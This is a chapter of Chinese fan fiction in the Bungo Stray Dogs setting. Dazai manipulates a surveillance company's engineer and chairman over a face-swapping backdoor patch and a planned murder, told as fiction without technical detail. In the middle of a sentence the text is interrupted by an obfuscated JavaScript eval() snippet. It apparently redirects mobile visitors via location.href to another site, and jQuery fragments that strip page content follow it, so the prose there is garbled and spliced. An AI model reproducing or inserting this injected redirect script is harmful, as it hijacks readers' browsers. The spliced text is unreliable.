海面在阳光的照射下闪耀着粼粼波光。
这里距离武装侦探社半小时地铁的路程,这的大海和港口附近的没有任何区别,只是这里长期开展一项很有趣的休闲活动——钓竹荚鱼。港口长大的孩子,对一片蔚蓝的大海并没有特别的兴趣,但不同的人钓鱼的样子就有趣的多。
太宰看着不远处的小艇上的一家三口,母亲拿着抄网做出准备的样子,孩子在兴奋的大声喊叫,父亲指挥着他持竿的动作,竹荚鱼的力气很大,竿头被坠得成了弧形,看来这次钓上的鱼尺寸应该不错,。孩子双手持竿用力提,鲜活的竹荚鱼挂在鱼线上飞出了水面,母亲伸长了手,安全地将鱼抄进了抄网里。
前几天,他暗中策划的地铁爆炸案并没有在社会上起什么波澜,但这个案件早晚有一天会起到该起的作用。在等待森鸥外做出行动的空闲时期,正好可以趁机为计划做些提前准备
——是时候准备一把抄网了。
陀思妥耶夫斯基一旦开始行动,就会不时在地面上出没,但白天的过街老鼠总是一闪而过,完全不可能靠猜测或者预判来掌握他的位置。好在这是现代化的社会,有现代化的手段——监控。
目前能考虑到的有三种监控渠道。
太宰走到沙滩上,用石块在沙地上画出一个圈,在圈里写上【安】。
警察厅在公共区域设置有“犯罪预防摄像头”,可以要求安吾提供协助。但是这些摄像头都集中安置在车站、繁华街区、犯罪高发区,其他地区极少覆盖;在安吾进行政治审批的流程中,也难保行动被卧底的小老鼠掌握信息;受到个人信息保护法的约束,这些摄像头的地点都需要进行公示,陀思完全可以避开设置有监控的地点。也就是说,即便获得公共的犯罪预防摄像头权限,也没有任何作用。
画第二个圈,写上【现】,太宰紧接着就打了叉。现在去布置一个由自己掌握的监控网络,无论是资金、设备、时间都无法办到,就算能办到,政府也绝不会允许自己或者Mafia做这件事。
第三个圈,太宰在圈里戳了很多小点,密密麻麻。这些是已经在横滨市内广为布置的民间安保摄像头,私人从安保公司购置,安装在便利店、餐厅、书店、咖啡厅……实际数量不可查,安装位置不可查。如果能够取得这些监控系统的后台权限,就能够掌控横滨的大街小巷。
横滨最大的民间安保监控企业是……曼哈西特保全。
“一个企业要跟进时代的脚步,改变僵化的体制,最快的方式就是——换BOSS。我来帮你们推一把咯,曼哈西特。”
太宰的决定,让曼哈西特保全公司的两个人陷入了烦恼。
汤姆.布坎南,公司的会长。最近由T.J.艾克尔伯格博士带领的公司技术团队所制造的“神之眼”人脸识别系统成功申请到了发明专利,这项专利在业内吸引了大量关注。
本来一切都很令他满意,但今天早上,他收到了一封奇怪的信。
早上司机来接他上班,他像平时一样坐到了司机的后方座位,坐稳后就发现驾驶位的座椅靠背口袋里,露出一个牛皮纸信封的尖角——这是不应该发生的事,他的车不应该放入任何多余的东西,这点司机很清楚,那怎么会出现这个信封的?
布坎南不动声色抽出信封,里面是三张打印纸,有图有文字。是什么产品广告?布坎南仔细地看了纸上的内容,脸色顿时黑了几分。
三张纸上印着的是曼哈西特曾经的犯罪事实和不为人知的犯罪证据:为巨额逃税贿赂国税厅长官,配图是负责牵线搭桥的征收部部长与布坎南共进晚餐的照片;接收政府要员委托,指使公司雇佣的退伍军人谋杀其政治对手,配图是本应被丢入海中销赃的手枪,枪支编号赫然列在图片之下;利用公司开发的监控系统非法收集用户信息,窃取用户的商业机密并卖给境外组织,配图是曼哈西特与境外组织伪装成其他业务进行交易的银行流水。
每张纸的背后都印着一行小字和一个邮箱地址,那行小字写着:
[诚意合作,为你提供不留痕迹的完美行动方案。]
在罪犯横行的横滨,一个组织完全不走偏门是没法做大做强的,作为横滨最大的保全公司,曼哈西特自然不例外。布坎南不是笨蛋,自认为组织犯罪时也用上了脑子的,他自以为打通了关节、抹除了证据,没想到……
布坎南把纸折起放回信封,并塞进了西装口袋。
“你今天开车过来时有发生什么事么?”布坎南问司机。
司机摇摇头说,今天和往常一样,按照老板您的要求清洁了车子内饰,在相同的时间出门,除了今天经过中华街附近时比较堵,没有发生特别的事。
“中华街?又不是节假日,一大早的……”
司机连忙解释,是中华街的交通信号灯故障。
布坎南看着半开的后车窗,他不喜欢车内饰的味道,因此总是要求司机来接他之前就把后车窗打开透气,他心想,那信大约就是趁着堵车的时候从后车窗塞进来的。
诚意合作吗?
布坎南掏出雪茄,抽出一支点燃,深深吸了一口,将烟盒放回西装口袋,摸着口袋里的邮件陷入了沉思。
尼克.卡拉威(注①),公司的软件工程师,曼哈西特公司技术团队骨干之一。人到中年有很多无奈,其中一种无奈就是眼睁睁看着同期生的朋友登上人生巅峰,而自己永远落后他仅仅一步。
这次“神之眼”系统获得专利也是如此,明明是团队合作的产物,明明关键技术节点的突破是自己占了最大的份量,但只是因为艾克尔伯格是总工程师,就变成了都是他领导团队的功劳。
灵魂被嫉妒的业火灼烧,令他彻夜辗转难眠。坐在工位上,他的食指来回拨弄鼠标的滚轴,将冰冷的眼神投向艾克尔伯格,而对方毫无察觉,埋头在屏幕前输入一串串代码。尼克努力平息自己莫名的烦躁感,打开了电子邮箱,从阅览新邮件开始一天的工作,就在这时进来了一封新邮件。
[你,很想把他拉下马,自己坐上总工程师的位子吧。]
尼克打开新接收的邮件中这仅有的一句话,摸了摸脖子,瞄一眼左边的,正在用电脑摄像头化妆,瞥一眼右边的,正在打着电话,前面几个的屏幕界面也都不是电子邮箱。
发件人是谁?
尼克一番操作下发现,对方使用的是一次性临时邮箱结合多层□□跳转,结论就是无法找出对方的IP。
他手指摸着键盘,犹豫了一会儿,回复了一个问号。原本尼克猜测,对方会很快回复,可是他每5分钟刷新一下邮箱,邮箱里除了又进两封垃圾广告邮件外,没再发来对方的回复。
是恶作剧吗?他想。
可是对方又似乎把自己的内心摸透了。
是公司的人?他猜。
然而公司里没人会认为他想对艾克尔伯格取而代之,因为在同事眼中,他们是一起长大的发小、同期入社的同学、同甘共苦的战友。
这样忐忑了一早上,直到办公室里大家都去吃午饭了,尼克看着空荡荡的办公室想:要不,再试探一下?
于是他点击了回复:[你是谁,你想怎么样?]
很快,对方发来了回信:[互相帮助。]
武装侦探社像平时一样忙忙碌碌,太宰少见地盯着电脑屏幕专心工作。
“难道终于培养出了一个勤勉认真的太宰了吗……”国木田摸着下巴喃喃地说,一时之间,他差点以为那个踢一脚挪三步的太宰是错觉。
“敦,今天没什么别的工作安排的话,就跟我出趟外勤吧。”国木田一边收拾物品一边说道。
敦手足无措的说:“是去哪里呢?需要我做什么准备?”
“不用做什么准备,从白鲸上带下来的控制终端需要调查,所以去找个能解决此事的熟人。本来前两天计划军警恐袭应对会议结束就去的,他的住所也在横滨站附近,但是那天被桂正作的事耽误了行程。”国木田看了一眼手表,“敦,现在我们就出发吧!”
“是!”
敦跟着国木田匆匆向门口走去,太宰忽然叫住了敦。
“敦。”太宰严肃的看着他,“回来的时候……给我带杯咖啡,加奶,加糖,加珍珠。”
敦担心地说:“太宰先生。咖啡店没有珍珠……”
“别和这个废物浪费时间了!走!”
太宰看着国木田狠狠撞上办公室的门,失望地回到工作中,电脑的屏幕上开着邮箱界面,光标在文本框内闪烁。
作为横滨最大的保全公司,曼哈西特聘用有数百名退伍军人,大部分安排执行客户的保全工作,仍有十数名驻留公司安防,据说全公司无死角设置监控,并安装最先进的监控系统。
然而,固若金汤的曼哈西特在太宰看来却是个布满裂痕的鸡蛋,尼克.卡拉威就是最好剥的一块蛋壳。公司的技术团队宣传片上,他总是斜着眼睛看艾克尔伯格,每当两人并肩站立,尼克都把手放到身前交握,活动全程虽然和艾克尔伯格的距离很近,但是都避免身体接触。尼克把自己的态度都写在了脸上。
[Unknow:我帮你坐上总工程师]
[尼克:那我帮你什么?]
[Unknow:我要的得等你成为总工程师后,才能付给我]
[尼克:神之眼?我把自己饭碗给你了,那我还吃什么?]
[Unknow:你现在吃什么?]
尼克的手指僵硬地悬在键盘上,神之眼系统开发者的名声属于艾克尔伯格,团队的专利授权成抽成大部分也归属艾克尔伯格,自己能吃到的无非就是绩效工资系数上浮而已,体现在收入上仅仅也就是每月多了几万日元。
神之眼是自己的饭碗吗?
——不是。
尼克审视自己说的话,发现了这样巨大的误区,他从来没有能从神之眼这口锅里吃上热饭,他只是个厨子而已。既然如此……
[Unknown:吃点好的。]
[尼克:成交。]
U——尼克用邮件未知发件人的首字母称呼对方——他让尼克设计一个基于神之眼系统的后门程序,这个程序可以将运用了神之眼系统的监控记录进行画面篡改,从曼哈西特数据库中选择其他面部信息,替换掉监控画面人物的面部信息。
简而言之,就是给神之眼系统拍摄到的人物换脸。尼克一口应承下来,他对自己的技术很有信心,这件事并不是太难。
[尼克:只是换脸?我可以做到连身体都换掉。]
[Unknown:不,只换脸。假货没法真正地成为真货,因此必须增加真实的含量,真实的含量越高,虚假的成分越低,它就越接近真实。]
U给尼克举了个简单的例子,24K和18K在肉眼上很容易分辨。印度的珠宝市场普遍采用22K金,但是实际大量充斥着20-21K的假货,由于差距很小,不进行专业检测就难以识别。
[Unknown:需要用这东西的客户,他们会专业地处理真实的部分,你只需要把最低限度的假做好就行。准备好之后给我报备,时机到了我会告诉你该做的事。]
几天之后,港口的地界上出了件大事——Mafia一位干部牺牲了,据说死不见尸。组织对外发布了讣告,教堂里挤满了身着黑色西装的基层成员。
“连组合都没有做到的事,竟然有人做到了。”谷崎感叹。
“太宰,你有什么消息?”尽管平时都在批评太宰的工作态度,但若论收集情报,国木田认为社内最强非太宰莫属,更何况他是前Mafia干部。
太宰支着胳膊撑着头,懒洋洋地说:“横滨有这样有能力的组织吗?没有。”
国木田说:“你的意思是……”
“上次咖啡厅被野路子的犯罪组织袭击,他们当时有提到组合的遗产。消灭一个Mafia干部?能做到这种事的大约就是有能力接收组合遗产的人了。”
国木田想起芥川,那个男人甚至不是干部,但面对芥川时他都要避免正面冲突。目前社内能和芥川较量一二的,只有敦。他犹豫着开口:“如果那个人下一步要攻击侦探社……”
侦探社能对抗这样的敌人吗?答案似乎并不乐观。
这是个给国木田下心理暗示的好时候,太宰想。他瞄了一眼国木田,垂下眼睛,说:“无论面临什么样的境况,只要侦探社的大家都还在,大家都还是安全的,我们就有办法扭转局势。”
国木田认同太宰的看法,重重地点了点头。
森鸥外大办丧礼是明确地完成工作的信号,向太宰传达陀思妥耶夫斯基已经咬住了钩。接下来,敌人就会利用已经获得的信息制定其作战计划,陀思的计划制定得会很迅速,但安排人手、布置场所、打造陷阱……一系列客观条件的布置依旧需要一段时间,他的注意力将集中在这些现实事物之上。
这样就产生了一段不被陀思关注的空白时间,这就是动手给陀思织网的好时候。于是,太宰给曼哈西特的尼克发去了指令。
尼克看到U传来的邮件,内心有些雀跃——就像贷款买跑车的感觉,虽然知道钱早晚得付,可是眼下就是会产生一种空手套白狼的错觉——给U支付代价之前就可以先享受胜利的果实。抱着这样的心情,尼克夹着需要布坎南签署的文件和自己的笔记本电脑上了楼。
布坎南将签署好的文件推给尼克,然而尼克并没有将桌上的文件收起。布坎南疑惑地望向他。
“会长,我最近为神之眼做了补丁程序……”尼克话说一半,和布坎南对视。
“和总工程师汇报,我不是你的直属上司。”布坎南挥挥手。
“艾克尔伯格可能不会同意通过这个补丁。”尼克耸耸肩,“总工程师对技术路线有绝对的权力,但……对市场战略和商业方案他没有足够的远见,我想直接越级向您请示。”
布坎南从尼克的话里,听懂了不能明说地部分。艾克尔伯格是个技术大拿,但整个人充斥着书呆子气,对技术方面一丝不苟当然是个优点,但对技术道德方面也不折不扣地按照法律要求完全合规处理,就会导致错失很多“商机”。
布坎南嘴角微翘,张开手示意尼克继续。尼克打开电脑,接入了布坎南办公室的投影,墙面亮起了巨大的矩形并逐渐变得清晰。
“我现在接入神之眼系统,这是10分钟前,我从技术部走到您办公室的录像。”
墙面上展示的分别是尼克从技术部走出到走廊、走廊到电梯、电梯内部、出电梯到走廊、走廊到会长办公室门口的5段录像。
“很有趣,我现在启动补丁,您看仔细了。”尼克打开了系统界面的菜单,里面出现了一处原系统所没有的选项。
“目前使用的只是测试系统,您放心,在没有您允许的情况下我绝不会真正安装到神之眼内的。”尼克说完选中了选项,在弹出框内输入了初始密码6个0,接着就出现了一个完全不同的操作界面。
“将5段视频中框选我的脸,拖曳到这边的框内,”尼克又打开了一个监控视频,“这是艾克尔伯格现在在办公室的实时视频,框选他的脸,拖曳到另一边的框内,接着……”
屏幕上出现了展示处理速度的进度条,等待了约30秒,处理就完成了。
“您看!”
尼克伸出手指向墙面投影的视频。布坎南不由得瞪大了眼睛,坐直了身体——屏幕上赫然是艾克尔伯格穿着尼克的衣服从技术部出发走进他办公室的全过程。
布坎南就在这几分钟之间想到了这个“面具补丁”的市场潜力,可以将客户的脸换到任何一个地方,以此证明客户在某段时间内的去向。在充斥着凶恶罪犯的横滨,有多少人希望有一个“不在场证明”呢?一千?一万?
不,横滨这个犯罪天堂,充斥着帮派冲突、毒品、暴力,年度犯罪率达到每十万人口中有20起凶杀案,四百万人口每年就会发生800起凶杀案,假设只有1/4的罪犯来购买“不在场证明”,每次仅100万日元,那么这个业务的年销售额也有2亿日元。
布坎南简直乐坏了,他差点就想跃过办公桌抱着尼克亲吻。然而很快,他却把笑容都收敛了,用狐疑的眼神打量着尼克。
“会长,您觉得怎么样?”尼克问道。
“做的不错。”布坎南简单地说。
屋内一下陷入了诡异的安静之中。布坎南的反应似乎与尼克的设想有些不一样。
“那……会长,您觉得我该继续进行下一步么?”
“继续吧,听你的意思,这个产品还很初级。”布坎南心里清楚,这个补丁已经完成了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785169|174845||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,并没有什么需要进一步研发的内容,所谓的“下一步”,只是“交给自己”而已,尼克的询问不过是不想白送。现在是出价环节,而布坎南认为,整个公司都是我的,你也是我的,当然补丁本来也就是我的。出价?天方夜谭。
尼克眼珠一转,说:“我的工作现在很饱满,艾克尔伯格现在推进的项目工作量很大,如果没有您的指示,这个补丁产品的优先级只能……况且,所有研发内容都必须经过总工程师的审批。”
意图昭然若揭了。
布坎南哼了一声,说:“尼克,你很有能力,只是职位调动不是随便决定的。”
“当然,我知道,组织结构的调整需要准备的时间,当然,您也知道,市场留给我们的时间也不太多,也许用不了多久,黑市就会有人抢占先机了。”尼克笑了笑,“我们得抓紧。”
布坎南抽出一根雪茄,在桌面上跺了跺,然后他看着尼克露出了笑容,点了点头。
尼克还是太年轻,不是年龄上的年轻,布坎南对他的野心心知肚明,但他缺乏实现野心的能力和城府。在起跑线做好了准备却总是错过鸣枪,然后气急败坏放弃竞争,所以他才总是输给艾克尔伯格——那是一个埋头只管往前匀速跑,不知不觉就领先的人——也正是因为这种性格,上位者也更愿意用艾克尔伯格。
尼克这次的举动没有祛除他的鲁莽,但比之前又机智了太多,想出了个绝妙的点子,成功吊起了自己的胃口。最主要的是,他知道这东西是要卖给谁的,这超出了他所能接触的环境。因此,可以推测尼克的身后有人。
布坎南没心思揣测尼克背后的人是谁,是谁都无所谓。如果那人打算利用尼克对他和曼哈西特实施什么诡计,那么最直接的方法就是切断那人与自己的联系——
干掉尼克。
还有,同时拿到补丁程序。
布坎南从手机的照片里翻出其中一张,上面是一串电子邮箱地址,那天收到的信已经进了碎纸机,只有背面的邮箱地址被拍照保留了。
太宰收到布坎南的来信有点吃惊,比他想象的要快得多,看来尼克表现出了不同寻常的急切,让布坎南的思维尚未经历混沌就直线做了判断。
事情的顺利发展不会让太宰松懈,他默默地估量着时限。今天周四,今天做有点来不及;明天周五,白天埋好线、晚上做事;周六周日曼哈西特休假,给各方充分的善后时间;周一案发。
敲定了时间,太宰分别给尼克和布坎南发去了邮件。
首先,他对尼克下达了这样的命令——
[Unknown:和艾克尔伯格在大庭广众之下吵一架。]
[尼克:为什么?]
[Unknown:布坎南不是给你提示了吗?]
尼克愣了一下,回想起他和U转达了布坎南的说法——“职位调动不是随便决定的”。
[Unknown:他已经提醒你要给他一个裁撤艾克尔伯格借口了,不是吗?]
是吗?
尼克当时以为这是布坎南的推辞,但是对这种话术的判断,U显然要比他有经验的多。按U的说法,布坎南和自己其实是在相互配合,用一个合理的、能服众的借口换掉艾克尔伯格,最终实现双赢。此时,尼克的闷闷不乐因为U的提示消散一空,思索着用什么理由和艾克尔伯格吵架:以新项目的技术路线为开头,有两处关键的分歧很大,如果是平时,只能给总工程师让步,但现在可以坚持己见,由此引发更大的争吵,比如拉扯到神之眼某个对方曾坚持的设计,最后给营销人员的宣传造成了困难,再拉扯到诸如技术团队内部对奖金分配的不合理……对,就是这样。尼克对自己的设计非常满意。
[Unknown:将完整版的补丁储存到U盘里,做好交易准备。今日见分晓。]
尼克一一照做,他知道他成功在即。
次日10点多,尼克对着洗手间的镜子,调整自己的笑容。走出洗手间他便拿着笔记本走向艾克尔伯格的工位,认真且和气地探讨起技术问题来,然而由于对具体问题的分歧,两人的语气越来越硬,语速越来越快。尼克一开始只是演戏而已,但没几分钟就忘记了自己是在演戏,声量拔的老高,脸涨的通红。艾克尔伯格建议两人到小会议室聊,可哪怕关上了会议室的门,技术部的成员也听到两人激烈的争吵,并且久久没有打算平息的样子。
布坎南来到技术部,他的到来没什么特殊的,只是每日惯例给自己的亲和力加分而已,让所有员工都看看,即便是老板也是每天要工作。于是布坎南就“偶遇”了技术部两人陷入争吵的事件,他推开会议室的门,神情严厉地制止了争吵。
之后,他回到办公室,打开了“犯罪专家”今早发来的犯罪方案,检查刚才的行动已经没有遗漏地执行了,并确认下一步的计划。
专家对本次方案开价200万日元,先付五成定金,按照专家的要求,不连号的现金装在信封里,用黑色塑料袋包裹着,扔到了位于红砖仓库附近的公共垃圾桶。
布坎南有考虑过被诈骗的可能,但对方握着这么多曼哈西特的污点证据都没有尝试对他进行威胁勒索,又何必费那么大功夫去诈骗100万呢?他当然也想过,要不要躲在一边,看看“专家”到底是什么人。但那里游客很多,大家都在随手往那个垃圾桶里扔垃圾,没有人去从里面掏垃圾。并且几分钟后,布坎南就收到了新邮件提醒,里面是详尽的行动方案。
不是诈骗,布坎南放下了心。
行动方案是这样的——
[第一步:死者(A)会找机会和他的目标人物(B)产生争吵,他想要为你提供行动的机会,这是可以预料到的。借这件事让人事科放出职务调整的风声,并让所有人都有周一就会下发通知的错觉。
第二步:你劝说情绪低落的B晚上去酒吧喝酒,B是你脱罪的关键,所以想办法确保B一定会单独出现在酒吧,0点左右你单独去酒吧带走他。
第三步:以“一手交钱一手交货”的理由把A约到公司,要求他把补丁存储在便携设备里交给你,你把约定时间定在凌晨1点。]
布坎南手指点点电脑屏幕,拨通了人事部部长的电话。两小时后的午饭时间,他满意地在食堂听到了人们的窃窃私语,大家在讨论尼克也许会当上总工程师。艾克尔伯格脸色铁青地站在墙边,远远地看着排队的同事。
“博士,怎么脸色不太好?”布坎南走过去表达关心,“是不是因为早上和尼克吵的那场架?”
“不……”艾克尔伯格说。
“事情经过我也听说了,是尼克不对。不管对工作多较真,也不能当众忤逆上司,更何况争吵。”
布坎南悄悄瞄着艾克尔伯格的脸色,对方的脸上果然更黑了。艾克尔伯格虽说是书呆子性格,但怎么说也是博士,大学里也不是真正的象牙塔,上司说的一些似是而非的话还是能听懂的。布坎南表面看着是批评尼克,实际上是在斥责他,身为上司却不能管理好下属。布坎南的不满大概就是风传出职务调整的原因。
“我不希望最重要的部门,两大干将之间产生嫌隙。你作为上司就包容一点吧。”
“我……该怎么做?”艾克尔伯格问,这个时候按照布坎南的建议来做是最保险的。
“男人之间的问题没有一杯酒不能解决的。”布坎南笑着说,“我知道一个酒吧氛围很好,适合男人之间的谈话。一杯威士忌就能把话说开。”
“好。”艾克尔伯格点点头,“但是尼克可能不会答应。”
“我会要求他去的。”布坎南承诺道,“这是酒吧地址。”
艾克尔伯格接过布坎南递过来的名片,黑色的纸片上印着“lupin”。
布坎南向人群望去,尼克坐在另一头的角落里默默地看着他。布坎南微笑着向尼克抬了一下手,然后拿出手机,给尼克发了一条短信息:今晚1点,技术部办公室见。
========
注①:
汤姆.布坎南,朝雾取名自菲茨杰拉德《了不起的盖茨比》中角色名;
T.J.艾克尔伯格,朝雾取名自《了不起的盖茨比》中具有上帝之眼意向的眼科广告牌;
尼克.卡拉威,原创角色,取名自《了不起的盖茨比》中故事的叙述者。